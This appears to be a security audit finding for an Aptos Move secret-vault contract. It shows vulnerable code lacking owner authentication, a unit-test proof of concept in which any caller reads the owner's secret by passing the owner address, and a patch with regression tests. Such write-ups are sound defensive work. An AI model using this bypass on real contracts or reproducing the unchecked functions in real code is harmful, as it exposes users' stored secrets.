Root
The core functions in the contract is either lack of Account authentication or didn't implement any account authentication.
Impact
Anyone can also use the core functions in the contract.
Description
In the documentation, it is stated that only the Owner
of the Vault can set and get the secret. This authentication is not properly implemented due to how Move handles Authentication.
public entry fun set_secret(caller:&signer,secret:vector<u8>){
@> No proper checks whether the caller is Owner
let secret_vault = Vault{secret: string::utf8(secret)};
move_to(caller,secret_vault);
event::emit(SetNewSecret {});
}
#[view]
@> This only check whether the address of caller is Owner, not who call the function
public fun get_secret (caller: address):String acquires Vault{
assert! (caller == @owner,NOT_OWNER);
let vault = borrow_global<Vault >(@owner);
vault.secret
}
Risk
Likelihood:
Impact:
-
Any user could call get_secret
by passing the Owner
address and retrieve Owner's Secret
-
Any user could just call set_secret
even if they are not Owner. This however will only set the secret for the user specific vault and will not write into the Owner
vault that will be retrieved by the get_secret
function.
Proof of Concept
Add the following to the secret_vault.move
#[view]
public fun get_secret_for_set_testing (caller: address):String acquires Vault{
let vault = borrow_global<Vault >(caller);
vault.secret
}
#[test(owner = @0xcc, user = @0xbad)]
fun anyone_can_set_and_read_secret(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
let secret = b"i'm a secret";
set_secret(owner, secret);
let leaked = get_secret(signer::address_of(owner));
debug::print(&leaked);
let user_secret = b"this is user";
set_secret(user, user_secret);
let user_leaked = get_secret_for_set_testing(signer::address_of(user));
debug::print(&user_leaked);
let user_fetch_owner_secret = get_secret(signer::address_of(owner));
debug::print(&user_fetch_owner_secret);
}
Run the test and here is the result
$ aptos move test
INCLUDING DEPENDENCY AptosFramework
INCLUDING DEPENDENCY AptosStdlib
INCLUDING DEPENDENCY MoveStdlib
BUILDING aptos-secret-vault
Running Move unit tests
[debug] "i'm a secret"
[debug] "this is user"
[debug] "i'm a secret"
[ PASS ] 0x234::vault::anyone_can_set_and_read_secret
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}
Recommended Mitigation
For set_secret
function, it is recommended to add account authentication like below. As for the get_secret
function, it is recommended to change the function visibility to no longer view
, as authenticating the caller can only be done when the function is not a view
type. This way, the caller of get_secret
can be checked.
public entry fun set_secret(caller:&signer,secret:vector<u8>){
+ let addr = signer::address_of(caller);
+ assert!(addr == @owner, NOT_OWNER);
let secret_vault = Vault{secret: string::utf8(secret)};
move_to(caller,secret_vault);
event::emit(SetNewSecret {});
}
- #[view]
- public fun get_secret (caller: address):String acquires Vault{
+ public fun get_secret(caller: &signer): String acquires Vault {
+ let addr = signer::address_of(caller);
- assert! (caller == @owner,NOT_OWNER);
+ assert!(addr == @owner, NOT_OWNER);
let vault = borrow_global<Vault>(@owner);
vault.secret
}
To check for the mitigation, the test below can be run
#[test(user = @0x123)]
#[expected_failure(abort_code = NOT_OWNER)]
fun test_user_cannot_set_secret(user: &signer) {
set_secret(user, b"fake secret");
}
#[test(owner = @0xcc, user = @0x123)]
#[expected_failure(abort_code = NOT_OWNER)]
fun test_user_cannot_fetch_owner_secret(owner: &signer, user: &signer) acquires Vault {
set_secret(owner, b"owner secret");
get_secret(user);
}
Test result:
$ aptos move test 1 ↵
INCLUDING DEPENDENCY AptosFramework
INCLUDING DEPENDENCY AptosStdlib
INCLUDING DEPENDENCY MoveStdlib
BUILDING aptos-secret-vault
Running Move unit tests
[ PASS ] 0x234::vault::test_user_cannot_fetch_owner_secret
[ PASS ] 0x234::vault::test_user_cannot_set_secret
Test result: OK. Total tests: 2; passed: 2; failed: 0
{
"Result": "Success"
}